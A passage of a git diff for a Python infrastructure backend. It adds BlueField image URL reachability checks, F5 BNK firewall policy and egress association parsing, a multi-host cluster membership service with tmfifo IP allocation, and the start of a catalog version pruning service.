f"{dpu_ip}/30" return f"192.168.{100 + _rshim_index(rshim_device)}.2/30" -def derive_tmfifo_dpu_host(rshim_device: str | None) -> str: +def derive_tmfifo_dpu_host(rshim_device: str | None, dpu: Dpu | None = None) -> str: """Bare DPU-side tmfifo IP (no /CIDR), suitable for SSH targets.""" + if dpu is not None: + dpu_ip = getattr(dpu, "dpu_tmfifo_ip", None) + if dpu_ip and getattr(dpu, "kubernetes_cluster_id", None) is not None: + return dpu_ip return f"192.168.{100 + _rshim_index(rshim_device)}.2" @@ -316,7 +326,7 @@ def build_render_context( ssh_credential.name, exc, ) - tmfifo_dpu_ip = derive_tmfifo_dpu_ip(getattr(dpu, "rshim_device", None)) + tmfifo_dpu_ip = derive_tmfifo_dpu_ip(getattr(dpu, "rshim_device", None), dpu=dpu) return RenderContext( bfb_hostname=hostname, diff --git a/backend/services/bluefield_image_service.py b/backend/services/bluefield_image_service.py index ee3c1922..5c32fb53 100644 --- a/backend/services/bluefield_image_service.py +++ b/backend/services/bluefield_image_service.py @@ -2,6 +2,7 @@ import logging +import requests from sqlalchemy.exc import IntegrityError from sqlalchemy.orm import Session @@ -14,6 +15,42 @@ logger = logging.getLogger(__name__) +_HEAD_TIMEOUT = 10 # seconds + + +def _head_check(url: str) -> str | None: + """HEAD url and return a warning string if non-200 or unreachable, else None.""" + try: + resp = requests.head(url, timeout=_HEAD_TIMEOUT, allow_redirects=True) + if resp.status_code != 200: + return f"BFB URL returned HTTP {resp.status_code} (expected 200): {url}" + except requests.RequestException as exc: + return f"BFB URL check failed (network error): {url} — {exc!s}" + return None + + +def _bfb_url_warnings( + base_url: str | None, + image_filename: str | None, + doca_host_url: str | None, +) -> list[str]: + """Check reachability of BFB/DOCA artifact URLs via HEAD. + + Returns a list of human-readable warning strings (never raises). + An empty list means all present URLs responded with HTTP 200. + """ + warnings: list[str] = [] + if base_url and image_filename: + composed = base_url.rstrip("/") + "/" + image_filename + w = _head_check(composed) + if w: + warnings.append(w) + if doca_host_url: + w = _head_check(doca_host_url) + if w: + warnings.append(w) + return warnings + class BluefieldImageService: """CRUD for the admin-managed DOCA release catalog.""" @@ -66,6 +103,10 @@ def create_image(self, data: BluefieldSoftwareImageCreate) -> BluefieldSoftwareI "doca_version", f"DOCA release '{data.doca_version}' for {data.host_os} {data.host_os_version}/{data.host_arch} already exists", ) from exc + warnings = _bfb_url_warnings(img.base_url, img.image_filename, img.doca_host_url) + for w in warnings: + logger.warning("BluefieldSoftwareImage id=%s URL warning: %s", img.id, w) + img.url_warnings = warnings # type: ignore[attr-defined] # transient, serialised by response schema logger.info("Created Bluefield image %s (DOCA %s %s %s/%s)", img.id, img.doca_version, img.host_os, img.host_os_version, img.host_arch) return img @@ -104,6 +145,10 @@ def update_image( f"DOCA release '{data.doca_version or img.doca_version}' for " f"{data.host_os or img.host_os} {data.host_os_version or img.host_os_version}/{data.host_arch or img.host_arch} already exists", ) from exc + warnings = _bfb_url_warnings(img.base_url, img.image_filename, img.doca_host_url) + for w in warnings: + logger.warning("BluefieldSoftwareImage id=%s URL warning: %s", image_id, w) + img.url_warnings = warnings # type: ignore[attr-defined] # transient, serialised by response schema logger.info("Updated Bluefield image %s", image_id) return img diff --git a/backend/services/bnk/helpers.py b/backend/services/bnk/helpers.py index af78e937..77b4f377 100644 --- a/backend/services/bnk/helpers.py +++ b/backend/services/bnk/helpers.py @@ -134,6 +134,31 @@ def make_resource_map(items: list[dict]) -> dict[str, dict]: return {resource_key(r): r for r in items} +def resolve_list_refs( + names: set[str] | list[str] | None, + resource_map: dict[str, dict], + namespace: str, + spec_key: str, +) -> list[dict]: + """Resolve address/port list references to their spec data.""" + if not names: + return [] + resolved = [] + for name in names: + res = resource_map.get(f"{namespace}/{name}") or {} + spec = res.get("spec") or {} + raw_items = spec.get(spec_key) or [] + if spec_key == "ports": + items = [str(p) for p in raw_items if p is not None] + else: + items = list(raw_items) + resolved.append({ + "name": name, + spec_key: items, + }) + return resolved + + # --------------------------------------------------------------------------- # Topology traversal # --------------------------------------------------------------------------- diff --git a/backend/services/bnk/policy_associations.py b/backend/services/bnk/policy_associations.py index 364afb5a..6e248d9f 100644 --- a/backend/services/bnk/policy_associations.py +++ b/backend/services/bnk/policy_associations.py @@ -1,8 +1,12 @@ """ -BNK policy associations — maps BNKSecPolicy → Gateway → F5BigFwPolicy. +BNK policy associations — maps security policies to their enforcement points. -Builds an enriched association list showing which security policies -target which gateways/listeners, with full firewall rule details. +Two distinct association paths: +- Ingress: BNKSecPolicy → Gateway → F5BigFwPolicy +- Egress: F5SPKEgress.spec.firewallEnforcedPolicy → F5BigFwPolicy + +Builds an enriched association list showing which firewall policies +are enforced where, with full firewall rule details. Pure data transformation: consumes the resources dict from ``fetch_all_bnk_data``. @@ -10,16 +14,17 @@ from typing import Any -from services.bnk.helpers import resource_name, resource_ns +from services.bnk.helpers import make_resource_map, resolve_list_refs, resource_name, resource_ns def analyze_policy_associations(data: dict[str, Any]) -> dict[str, Any]: - """Build the policy-gateway associations from raw BNK data.""" + """Build the policy-gateway and policy-egress associations from raw BNK data.""" resources = data["resources"] bnksecpolicies = resources.get("bnksecpolicy", []) gateways = resources.get("gateway", []) firewallpolicies = resources.get("f5bigfwpolicy", []) + egresses = resources.get("f5spkegress", []) # Pre-index gateways and firewall policies by (namespace, name) for O(1) lookups gw_index: dict[tuple[str, str], dict] = { @@ -29,6 +34,9 @@ def analyze_policy_associations(data: dict[str, Any]) -> dict[str, Any]: (resource_ns(fw), resource_name(fw)): fw for fw in firewallpolicies } + addr_map = make_resource_map(resources.get("f5bigcneaddresslist", [])) + port_map = make_resource_map(resources.get("f5bigcneportlist", [])) + associations: list[dict[str, Any]] = [] for bnk in bnksecpolicies: bnk_ns = resource_ns(bnk) @@ -50,10 +58,22 @@ def analyze_policy_associations(data: dict[str, Any]) -> dict[str, Any]: association = _build_association( bnk, bnk_ns, gateway_name, listener_name, - policy_name, gateway, policy, + policy_name, gateway, policy, addr_map, port_map, ) associations.append(association) + for egress in egresses: + egress_ns = resource_ns(egress) + egress_spec = egress.get("spec", {}) + policy_name = egress_spec.get("firewallEnforcedPolicy") + if not policy_name: + continue + + policy = fw_index.get((egress_ns, policy_name)) + associations.append( + _build_egress_association(egress, egress_ns, policy_name, policy, addr_map, port_map) + ) + return { "associations": associations, "count": len(associations), @@ -68,9 +88,12 @@ def _build_association( policy_name: str | None, gateway: dict | None, policy: dict | None, + addr_map: dict[str, dict] | None = None, + port_map: dict[str, dict] | None = None, ) -> dict[str, Any]: """Build a single policy-gateway association entry.""" association: dict[str, Any] = { + "kind": "gateway", "bnk_policy_name": resource_name(bnk), "namespace": bnk_ns, "gateway_name": gateway_name, @@ -92,18 +115,98 @@ def _build_association( association["protocol"] = listener.get("protocol") if policy: - rules = policy.get("spec", {}).get("rule", []) - association["rules_count"] = len(rules) - association["rules"] = [ - { - "name": rule.get("name", ""), - "action": rule.get("action", ""), - "ipProtocol": rule.get("ipProtocol", ""), - "source": rule.get("source", {}), - "destination": rule.get("destination", {}), - "logging": rule.get("logging", False), - } - for rule in rules - ] + association["rules_count"], association["rules"] = _extract_fw_rules( + policy, addr_map or {}, port_map or {}, bnk_ns, + ) + + return association + + +def _extract_fw_rules( + policy: dict, + addr_map: dict[str, dict], + port_map: dict[str, dict], + policy_ns: str, +) -> tuple[int, list[dict[str, Any]]]: + """Extract the rule count and rule details from an F5BigFwPolicy. + + Source/destination are enriched with resolved addresses/ports (direct + values plus members of any referenced address/port lists), alongside + the raw list names for provenance. + """ + rules = (policy.get("spec") or {}).get("rule") or [] + extracted = [ + { + "name": rule.get("name", "") if rule else "", + "action": rule.get("action", "") if rule else "", + "ipProtocol": rule.get("ipProtocol", "") if rule else "", + "source": _resolve_rule_direction((rule or {}).get("source"), addr_map, port_map, policy_ns), + "destination": _resolve_rule_direction((rule or {}).get("destination"), addr_map, port_map, policy_ns), + "logging": rule.get("logging", False) if rule else False, + } + for rule in rules + ] + return len(extracted), extracted + + +def _resolve_rule_direction( + direction: dict | None, + addr_map: dict[str, dict], + port_map: dict[str, dict], + policy_ns: str, +) -> dict[str, Any]: + """Resolve a rule's source/destination addressLists/portLists into inline addresses/ports.""" + dir_dict = direction or {} + address_lists = dir_dict.get("addressLists") or [] + port_lists = dir_dict.get("portLists") or [] + + addresses = list(dir_dict.get("addresses") or []) + for resolved in resolve_list_refs(address_lists, addr_map, policy_ns, "addresses"): + for addr in (resolved.get("addresses") or []): + if addr and addr not in addresses: + addresses.append(addr) + + raw_ports = dir_dict.get("ports") or [] + ports = [str(p) for p in raw_ports if p is not None] + for resolved in resolve_list_refs(port_lists, port_map, policy_ns, "ports"): + for port in (resolved.get("ports") or []): + if port is not None: + str_port = str(port) + if str_port not in ports: + ports.append(str_port) + + return { + "addresses": addresses, + "ports": ports, + "addressLists": list(address_lists), + "portLists": list(port_lists), + } + + +def _build_egress_association( + egress: dict, + egress_ns: str, + policy_name: str, + policy: dict | None, + addr_map: dict[str, dict] | None = None, + port_map: dict[str, dict] | None = None, +) -> dict[str, Any]: + """Build a single policy-egress association entry.""" + egress_spec = egress.get("spec") or {} + cni_config = egress_spec.get("pseudoCNIConfig") or {} + + association: dict[str, Any] = { + "kind": "egress", + "egress_name": resource_name(egress), + "namespace": egress_ns, + "captured_namespaces": cni_config.get("namespaces") or [], + "snat_type": egress_spec.get("snatType"), + "firewall_policy_name": policy_name, + } + + if policy: + association["rules_count"], association["rules"] = _extract_fw_rules( + policy, addr_map or {}, port_map or {}, egress_ns, + ) return association diff --git a/backend/services/bnk/topology.py b/backend/services/bnk/topology.py index 249fa238..1a4db700 100644 --- a/backend/services/bnk/topology.py +++ b/backend/services/bnk/topology.py @@ -15,6 +15,7 @@ from services.bnk.helpers import ( has_condition, make_resource_map, + resolve_list_refs, resource_name, resource_ns, ) @@ -378,30 +379,13 @@ def _build_firewall_refs( fw_refs.append({ "name": ext.get("name", ""), "rules": rules, - "addressLists": _resolve_list_refs(referenced_addr_lists, addr_map, policy_ns, "addresses"), - "portLists": _resolve_list_refs(referenced_port_lists, port_map, policy_ns, "ports"), + "addressLists": resolve_list_refs(referenced_addr_lists, addr_map, policy_ns, "addresses"), + "portLists": resolve_list_refs(referenced_port_lists, port_map, policy_ns, "ports"), }) return fw_refs -def _resolve_list_refs( - names: set[str], - resource_map: dict[str, dict], - namespace: str, - spec_key: str, -) -> list[dict]: - """Resolve address/port list references to their spec data.""" - return [ - { - "name": name, - spec_key: (resource_map.get(f"{namespace}/{name}", {}) - .get("spec", {}).get(spec_key, [])), - } - for name in names - ] - - # --------------------------------------------------------------------------- # Data plane builder # --------------------------------------------------------------------------- @@ -437,14 +421,7 @@ def _build_data_plane(resources: dict[str, list]) -> dict[str, Any]: } for sp in snatpools ], - "egresses": [ - { - "name": resource_name(eg), - "namespace": resource_ns(eg), - "sourceTranslation": eg.get("spec", {}).get("sourceTranslation", {}), - } - for eg in egresses - ], + "egresses": [_build_egress(eg) for eg in egresses], "logging": { "hslPublishers": [ { @@ -509,6 +486,27 @@ def _build_cne_instance(cne: dict) -> dict[str, Any]: # --------------------------------------------------------------------------- +def _build_egress(egress: dict) -> dict[str, Any]: + """Build a single F5SPKEgress entry for the data plane section.""" + eg_spec = egress.get("spec") or {} + cni_config = eg_spec.get("pseudoCNIConfig") or {} + vxlan_config = cni_config.get("vxlan") + return { + "name": resource_name(egress), + "namespace": resource_ns(egress), + "snatType": eg_spec.get("snatType", ""), + "egressSnatpool": eg_spec.get("egressSnatpool"), + "firewallEnforcedPolicy": eg_spec.get("firewallEnforcedPolicy"), + "logProfile": eg_spec.get("logProfile"), + "capturedNamespaces": cni_config.get("namespaces") or [], + "vxlan": { + "tmmInterfaceName": vxlan_config.get("tmmInterfaceName", "") or "", + "nodeInterfaceName": vxlan_config.get("nodeInterfaceName", "") or "", + } if isinstance(vxlan_config, dict) and vxlan_config else None, + "ready": has_condition(egress, "Programmed"), + } + + def _build_counts( resources: dict[str, list], gateways: list[dict], diff --git a/backend/services/bnk_cluster_service.py b/backend/services/bnk_cluster_service.py new file mode 100644 index 00000000..dd4dc4c2 --- /dev/null +++ b/backend/services/bnk_cluster_service.py @@ -0,0 +1,441 @@ +"""Service for BNK multi-host / multi-DPU cluster management (ADR-424). + +Handles: + - Creating / updating BnkClusterConfig side-table. + - Assigning bare-metal hosts and DPUs to a cluster. + - Triggering cluster-scoped tmfifo IPAM allocations for member DPUs. +""" + +from __future__ import annotations + +import ipaddress +import logging +from typing import Any + +import sqlalchemy as sa +from sqlalchemy.orm import Session + +from core.errors import BadRequestError, ConflictError, NotFoundError, ValidationError +from database import DATABASE_URL +from models.bare_metal import BareMetalHost +from models.dpu import Dpu +from models.kubernetes import BnkClusterConfig, KubernetesCluster +from services.tmfifo_ipam_service import ADR424_ADVISORY_LOCK_NAMESPACE, TmfifoPoolAllocator + +logger = logging.getLogger(__name__) + + +class BnkClusterService: + def __init__(self, db: Session): + self.db = db + self.ipam_allocator = TmfifoPoolAllocator(db) + + @staticmethod + def _check_pool_cidr_valid(cidr: str) -> ipaddress.IPv4Network: + """Parse cidr and reject if it cannot contain at least one /30 subnet. + + A pool prefix longer than /30 (e.g. /31, /32) cannot be subdivided + into /30 allocations — calling subnets(new_prefix=30) on it raises a + ValueError that would otherwise surface as an opaque 500. Validate + early and return 422 instead. + """ + try: + net = ipaddress.ip_network(cidr) + except ValueError as exc: + raise ValidationError("tmfifo_pool_cidr", f"Invalid CIDR '{cidr}': {exc}") from exc + if not isinstance(net, ipaddress.IPv4Network): + raise ValidationError( + "tmfifo_pool_cidr", + f"Pool CIDR '{cidr}' is not IPv4; an IPv4 /30 pool is required for tmfifo links.", + ) + if net.prefixlen > 30: + raise ValidationError( + "tmfifo_pool_cidr", + f"Pool CIDR '{cidr}' has prefix /{net.prefixlen} which is too long; " + "the pool must be /30 or shorter to fit at least one /30 allocation.", + ) + return net + + def cluster_membership(self, cluster_id: int) -> tuple[list[int], list[int]]: + """Return (host_ids, dpu_ids) currently bound to this cluster. + + Used to seed the member dialog from real membership (ADR-424 #4) + instead of re-applying the B-all default on every open. + """ + host_ids = [ + h.id + for h in self.db.query(BareMetalHost.id) + .filter(BareMetalHost.kubernetes_cluster_id == cluster_id) + .all() + ] + dpu_ids = [ + d.id + for d in self.db.query(Dpu.id) + .filter(Dpu.kubernetes_cluster_id == cluster_id) + .all() + ] + return sorted(host_ids), sorted(dpu_ids) + + def bulk_cluster_membership( + self, cluster_ids: list[int] + ) -> dict[int, tuple[list[int], list[int]]]: + """Return {cluster_id: (host_ids, dpu_ids)} for multiple clusters in 2 queries. + + Eliminates the 2N query pattern in list_project_clusters (list_all_clusters + no longer serializes bnk_config, so it does not call this -- #116): + instead of 2 queries per BNK cluster, run one grouped host query and one + grouped DPU query, then bucket by cluster_id. Single-sources the query + logic used by cluster_membership (ADR-424 finding C). + """ + if not cluster_ids: + return {} + host_rows = ( + self.db.query(BareMetalHost.id, BareMetalHost.kubernetes_cluster_id) + .filter(BareMetalHost.kubernetes_cluster_id.in_(cluster_ids)) + .all() + ) + dpu_rows = ( + self.db.query(Dpu.id, Dpu.kubernetes_cluster_id) + .filter(Dpu.kubernetes_cluster_id.in_(cluster_ids)) + .all() + ) + buckets: dict[int, list[list[int]]] = {cid: [[], []] for cid in cluster_ids} + for h_id, c_id in host_rows: + if c_id in buckets: + buckets[c_id][0].append(h_id) + for d_id, c_id in dpu_rows: + if c_id in buckets: + buckets[c_id][1].append(d_id) + return {cid: (sorted(v[0]), sorted(v[1])) for cid, v in buckets.items()} + + def get_or_create_config( + self, + cluster_id: int, + tmfifo_pool_cidr: str | None = None, + join_transport: str | None = None, + control_plane_host_id: int | None = None, + *, + _require_cp_member: bool = True, + ) -> BnkClusterConfig: + """Get or create BnkClusterConfig for a KubernetesCluster. + + All params are sentinels: None means "leave the stored value unchanged". + On first create, None falls back to "192.168.100.0/22" / "rshim" so the + row has sensible defaults even when called without explicit values. + + If tmfifo_pool_cidr is provided and differs from the current value, it is + validated against existing DPU allocations — shrinking/changing the pool + while DPUs already have IPs outside the new CIDR is rejected. + + _require_cp_member: when True (default, used by POST /bnk-config), the CP + host must already be a cluster member. Pass False from assign_members, + which establishes membership in the same transaction after this call. + """ + cluster = self.db.get(KubernetesCluster, cluster_id) + if not cluster: + raise NotFoundError("kubernetes_cluster", cluster_id) + + # Take the advisory lock unconditionally so that a pool-CIDR-only + # mutation is also serialised against a concurrent assign_members + # allocation. Previously only taken when control_plane_host_id was + # supplied, leaving a race window for concurrent CIDR mutations. + # SQLite (test env) has no advisory locks — skip there. + if not DATABASE_URL.startswith("sqlite"): + self.db.execute( + sa.text("SELECT pg_advisory_xact_lock(:ns, :k)"), + {"ns": ADR424_ADVISORY_LOCK_NAMESPACE, "k": cluster_id}, + ) + + # control_plane_host_id is a bare_metal_hosts FK. require_cluster_owner + # authorizes the cluster, but nothing stops a request from pointing the + # CP FK at another project's host — validate it belongs to the cluster's + # project (mirrors assign_members' M2 guard) and 404 otherwise. + # Also require cluster membership (ADR-424 minor) so cfg.control_plane_host_id + # never points at a host whose is_control_plane is False. + if control_plane_host_id is not None: + filters = [ + BareMetalHost.id == control_plane_host_id, + BareMetalHost.project_id == cluster.project_id, + ] + if _require_cp_member: + filters.append(BareMetalHost.kubernetes_cluster_id == cluster_id) + cp_host = self.db.query(BareMetalHost).filter(*filters).first() + if not cp_host: + if _require_cp_member: + # Check if the host exists but isn't a member for a better error. + exists = ( + self.db.query(BareMetalHost) + .filter( + BareMetalHost.id == control_plane_host_id, + BareMetalHost.project_id == cluster.project_id, + ) + .first() + ) + if exists: + raise BadRequestError( + f"Host {control_plane_host_id} is not a member of cluster {cluster_id}. " + "Assign it via POST /bnk-members before setting it as the control plane." + ) + raise NotFoundError("bare_metal_host", control_plane_host_id) + + cfg = ( + self.db.query(BnkClusterConfig) + .filter(BnkClusterConfig.cluster_id == cluster_id) + .first() + ) + if not cfg: + if tmfifo_pool_cidr is not None: + self._check_pool_cidr_valid(tmfifo_pool_cidr) + cfg = BnkClusterConfig( + cluster_id=cluster_id, + tmfifo_pool_cidr=tmfifo_pool_cidr or "192.168.100.0/22", + join_transport=join_transport or "rshim", + control_plane_host_id=control_plane_host_id, + ) + self.db.add(cfg) + else: + if tmfifo_pool_cidr is not None and tmfifo_pool_cidr != cfg.tmfifo_pool_cidr: + self._validate_cidr_change(cluster_id, tmfifo_pool_cidr) + cfg.tmfifo_pool_cidr = tmfifo_pool_cidr + if join_transport is not None: + cfg.join_transport = join_transport + if control_plane_host_id is not None: + cfg.control_plane_host_id = control_plane_host_id + + # Sync is_control_plane on BareMetalHost rows so that this field and + # cfg.control_plane_host_id never diverge (ADR-424 cold audit B). + # assign_members keeps them in lockstep for every member call; replicate + # that logic here so that a bare POST /bnk-config (e.g. moving the CP + # host without re-sending the full member list) stays consistent. + if control_plane_host_id is not None: + cluster_hosts = ( + self.db.query(BareMetalHost) + .filter(BareMetalHost.kubernetes_cluster_id == cluster_id) + .all() + ) + for h in cluster_hosts: + new_flag = h.id == control_plane_host_id + if h.is_control_plane != new_flag: + h.is_control_plane = new_flag + self.db.add(h) + + self.db.flush() + return cfg + + def _validate_cidr_change(self, cluster_id: int, new_cidr: str) -> None: + """Reject a pool CIDR change if existing DPU IPs fall outside the new range.""" + new_net = self._check_pool_cidr_valid(new_cidr) + + existing_dpus = ( + self.db.query(Dpu) + .filter(Dpu.kubernetes_cluster_id == cluster_id, Dpu.dpu_tmfifo_ip.isnot(None)) + .all() + ) + for dpu in existing_dpus: + if ipaddress.ip_address(dpu.dpu_tmfifo_ip) not in new_net: + raise ValidationError( + "tmfifo_pool_cidr", + f"Cannot change pool CIDR to '{new_cidr}': " + f"DPU {dpu.id} has allocated IP {dpu.dpu_tmfifo_ip} outside the new range", + ) + + def assign_members( + self, + cluster_id: int, + control_plane_host_id: int, + host_ids: list[int], + dpu_ids: list[int], + tmfifo_pool_cidr: str | None = None, + ) -> dict[str, Any]: + """Assign hosts and DPUs to a BNK cluster and perform tmfifo IP allocations. + + Authorization: host and DPU IDs must belong to cluster.project_id — any + ID that belongs to a different project is treated as not found (404) to + prevent cross-project resource attachment. + + Cross-cluster guard: a host or DPU already bound to a DIFFERENT + kubernetes_cluster_id (in the same project) is rejected with 409. + The former reassign=True escape-hatch was removed (ADR-424 cold audit C) + because it reconciled only the target cluster, leaving the source cluster + inconsistent (dangling CP FK, source DPUs kept their cluster_id). + + Reconciliation (hosts): hosts previously in the cluster but absent from + host_ids are unassigned; their DPUs' tmfifo allocations are released and + those DPUs are removed from the cluster. This ensures that changing the + CP host never leaves two is_control_plane=True rows. + + Reconciliation (DPUs): DPUs previously in the cluster but absent from + dpu_ids (while their host may still be present) are released and removed. + The dialog always POSTs the full current dpu_ids list, so absence == removal. + An empty dpu_ids list releases all directly-tracked DPUs for the cluster. + """ + # Acquire an xact-scoped advisory lock before ANY read so that + # host-only calls (dpu_ids=[]) are serialised just as DPU calls are. + # Without this, two concurrent host-only calls can race the CP-host + # reconciliation and leave two is_control_plane=True rows. + # SQLite (test env) has no advisory locks — skip there. + if not DATABASE_URL.startswith("sqlite"): + self.db.execute( + sa.text("SELECT pg_advisory_xact_lock(:ns, :k)"), + {"ns": ADR424_ADVISORY_LOCK_NAMESPACE, "k": cluster_id}, + ) + + cluster = self.db.get(KubernetesCluster, cluster_id) + if not cluster: + raise NotFoundError("kubernetes_cluster", cluster_id) + + if control_plane_host_id not in host_ids: + host_ids = [control_plane_host_id, *[h for h in host_ids if h != control_plane_host_id]] + + # Ensure control plane host exists and belongs to cluster's project (M2). + cp_host = ( + self.db.query(BareMetalHost) + .filter(BareMetalHost.id == control_plane_host_id, BareMetalHost.project_id == cluster.project_id) + .first() + ) + if not cp_host: + raise NotFoundError("bare_metal_host", control_plane_host_id) + + # --- Cross-cluster 409 guards (hoisted above reconciliation) --- + # Load requested hosts early to check for cross-cluster conflicts BEFORE + # any session mutations. The invariant is self-contained: no mutation + # has occurred yet, so a 409 abort needs no session-level rollback. + new_host_id_set = set(host_ids) + hosts = ( + self.db.query(BareMetalHost) + .filter(BareMetalHost.id.in_(host_ids), BareMetalHost.project_id == cluster.project_id) + .with_for_update() + .all() + ) + found_host_ids = {h.id for h in hosts} + missing_hosts = new_host_id_set - found_host_ids + if missing_hosts: + raise NotFoundError("bare_metal_host", sorted(missing_hosts)) + + stolen_hosts = sorted( + h.id for h in hosts + if h.kubernetes_cluster_id is not None and h.kubernetes_cluster_id != cluster_id + ) + if stolen_hosts: + raise ConflictError( + "bare_metal_host", + f"Host(s) {stolen_hosts} already belong to a different cluster.", + ) + + new_dpu_id_set = set(dpu_ids or []) + dpus: list[Dpu] = [] + if dpu_ids: + dpus = ( + self.db.query(Dpu) + .filter(Dpu.id.in_(dpu_ids), Dpu.project_id == cluster.project_id) + .with_for_update() + .all() + ) + found_dpu_ids = {d.id for d in dpus} + missing_dpus = new_dpu_id_set - found_dpu_ids + if missing_dpus: + raise NotFoundError("dpu", sorted(missing_dpus)) + + stolen_dpus = sorted( + d.id for d in dpus + if d.kubernetes_cluster_id is not None and d.kubernetes_cluster_id != cluster_id + ) + if stolen_dpus: + raise ConflictError( + "dpu", + f"DPU(s) {stolen_dpus} already belong to a different cluster.", + ) + + # --- Mutations begin here --- + + # Get or update cluster config (sentinel semantics — only update if provided). + # _require_cp_member=False: host membership is established below in the same + # transaction, so the CP host cannot be a member yet at this call site. + cfg = self.get_or_create_config( + cluster_id=cluster_id, + tmfifo_pool_cidr=tmfifo_pool_cidr, + control_plane_host_id=control_plane_host_id, + _require_cp_member=False, + ) + + # Reconcile: find hosts currently in this cluster that are NOT in the new list. + # Unassign them (clear cluster membership + CP flag) and release their DPUs. + current_cluster_hosts = ( + self.db.query(BareMetalHost) + .filter(BareMetalHost.kubernetes_cluster_id == cluster_id) + .all() + ) + hosts_to_remove = [h for h in current_cluster_hosts if h.id not in new_host_id_set] + if hosts_to_remove: + removed_host_ips = {h.host_ip for h in hosts_to_remove} + # Release DPUs that belong to the removed hosts. + dpus_to_release = ( + self.db.query(Dpu) + .filter( + Dpu.kubernetes_cluster_id == cluster_id, + Dpu.host_node_ip.in_(removed_host_ips), + ) + .all() + ) + for dpu in dpus_to_release: + self.ipam_allocator.release_dpu_tmfifo(dpu) + for h in hosts_to_remove: + h.kubernetes_cluster_id = None + h.is_control_plane = False + self.db.add(h) + + # Reconcile DPUs: release any DPU currently in this cluster that is NOT in dpu_ids. + # This covers the case where a DPU is unchecked in the dialog while its host stays — + # the host-removal path above only releases DPUs whose owner host was dropped. + stale_dpus = ( + self.db.query(Dpu) + .filter(Dpu.kubernetes_cluster_id == cluster_id, Dpu.id.notin_(new_dpu_id_set or [-1])) + .all() + ) + for dpu in stale_dpus: + self.ipam_allocator.release_dpu_tmfifo(dpu) + + for h in hosts: + h.kubernetes_cluster_id = cluster_id + h.is_control_plane = (h.id == control_plane_host_id) + self.db.add(h) + + # Assign DPUs and allocate tmfifo IPs. + member_host_ips = {h.host_ip for h in hosts} + assigned_dpus = [] + for dpu in dpus: + # Reject in-band DPUs whose owner host is not a cluster member (M3). + if dpu.host_node_ip and dpu.host_node_ip not in member_host_ips: + raise BadRequestError( + f"DPU {dpu.id} (host_node_ip={dpu.host_node_ip!r}) owner host " + f"is not a member of cluster {cluster_id}. " + "Add the DPU's host to host_ids first." + ) + alloc = self.ipam_allocator.assign_dpu_tmfifo(dpu, cluster_id) + assigned_dpus.append({ + "dpu_id": dpu.id, + "dpu_name": dpu.name, + "host_tmfifo_ip": alloc.host_ip, + "dpu_tmfifo_ip": alloc.dpu_ip, + "subnet_cidr": alloc.subnet_cidr, + }) + + # Flush only — the route handler commits. The advisory lock acquired + # at the top of this method is xact-scoped and is released at that commit. + self.db.flush() + + return { + "cluster_id": cluster_id, + "control_plane_host_id": control_plane_host_id, + "host_ids": host_ids, + "assigned_dpus": assigned_dpus, + "bnk_config": { + "id": cfg.id, + "cluster_id": cfg.cluster_id, + "tmfifo_pool_cidr": cfg.tmfifo_pool_cidr, + "join_transport": cfg.join_transport, + "control_plane_host_id": cfg.control_plane_host_id, + "host_ids": sorted(found_host_ids), + "dpu_ids": sorted(d["dpu_id"] for d in assigned_dpus), + }, + } diff --git a/backend/services/catalog_prune_service.py b/backend/services/catalog_prune_service.py new file mode 100644 index 00000000..2c918e02 --- /dev/null +++ b/backend/services/catalog_prune_service.py @@ -0,0 +1,362 @@ +"""Prune superseded catalog versions (D-033). + +D-033 gives the catalog one immutable row per ``(source, path, version)``: an +edit never overwrites, it adds. That is the right call — a project pinned to a +version must keep resolving to the bytes it was deployed from — but nothing ever +removes the rows it leaves behind. A source under active development accumulates +every version it has ever had, and the only way back is to delete the source and +re-register it, which throws away its configuration and every release with it. + +So there are two operations here, and the distinction matters: + + deactivate clears ``is_active``. The version stops appearing in the catalog + and stops competing for ``is_latest``, but the row survives and a + project pinned to it still resolves. Reversible, and safe on any + version. This is the default. + + delete removes the row. Only ever applied to versions nothing references, + because a project module's ``module_library_id`` is NOT NULL — the + delete would either fail on the constraint or, worse, be made to + succeed by cascading and take the project's module with it. + +Neither ever touches the newest ``keep`` versions of a path, so the thing an +operator would deploy next is never the thing that disappears. + +And neither touches a version something is deployed from. The reference check +runs on every candidate, not only when deleting: a version a project module +pins, or a release a stack was built from, is reported ``in_use`` and left +exactly as it is. Hiding the version a running deployment is on would make the +catalog lie about what is deployed, and it is not what "retire the old versions" +was ever meant to mean. ``include_in_use`` opts into deactivating them anyway; +nothing opts into deleting them. +""" + +from __future__ import annotations + +import logging +from dataclasses import dataclass, field + +from sqlalchemy.orm import Session + +from core.errors import InternalError, NotFoundError +from models import BlueprintRelease, ModuleLibrary, ModuleSource, ProjectModule +from models.blueprint_catalog import BlueprintSource +from models.stack import StackInstance +from services.module_version_query import recompute_is_latest +from utils.catalog_versioning import version_sort_key + +logger = logging.getLogger(__name__) + + +@dataclass +class PruneItem: + identity: str # module path, or blueprint id + version: str + action: str # kept | deactivated | deleted | in_use + reason: str = "" + + +@dataclass +class PruneResult: + source_id: int + dry_run: bool + keep: int + items: list[PruneItem] = field(default_factory=list) + + def as_dict(self) -> dict: + counts: dict[str, int] = {} + for i in self.items: + counts[i.action] = counts.get(i.action, 0) + 1 + return { + "source_id": self.source_id, + "dry_run": self.dry_run, + "keep": self.keep, + "counts": counts, + "items": [ + {"identity": i.identity, "version": i.version, "action": i.action, "reason": i.reason} + for i in self.items + ], + } + + +def _ordered(rows: list, version_of) -> list: + """Newest first. Ties break on row id so an unparseable version is stable. + + Note what that means for a source not versioned by semver: ``version_sort_key`` + returns an empty key for anything it cannot parse, so every row ties and the + order falls entirely to ``r.id`` — "keep the newest" quietly becomes "keep the + most recently synced". Consistent with ``recompute_is_latest``, so not a + divergence, but worth knowing on an operation that deletes. + """ + return sorted(rows, key=lambda r: (version_sort_key(version_of(r)), r.id), reverse=True) + + +def _spare_last_active(kept: list, candidates: list, refs_by_id: dict[int, int], + include_in_use: bool): + """The newest active row to spare when pruning would otherwise leave none. + + A prune must never leave a group with zero active versions. The module + disappears from the default catalog view, ``is_latest`` lands on nothing, + and there is no un-prune endpoint to walk it back. + + This is reachable without anyone deactivating anything by hand. + ``module_sync_service`` clears ``is_active`` on any manifest-backed row + whose pack path stops appearing upstream — a rename is enough. That row + still sorts newest, so it occupies the kept slot while the last ACTIVE + version is deactivated underneath it. Sync already holds this invariant on + its own side, handing ``is_latest`` to "the newest remaining ACTIVE + version so the path doesn't vanish"; prune has to hold it too. + + Returns the row to spare, or ``None`` when something already survives. + A kept row survives if it is active; a candidate survives if it is active + and left untouched for being in use. + """ + survives = [r for r in kept if r.is_active] + survives += [ + 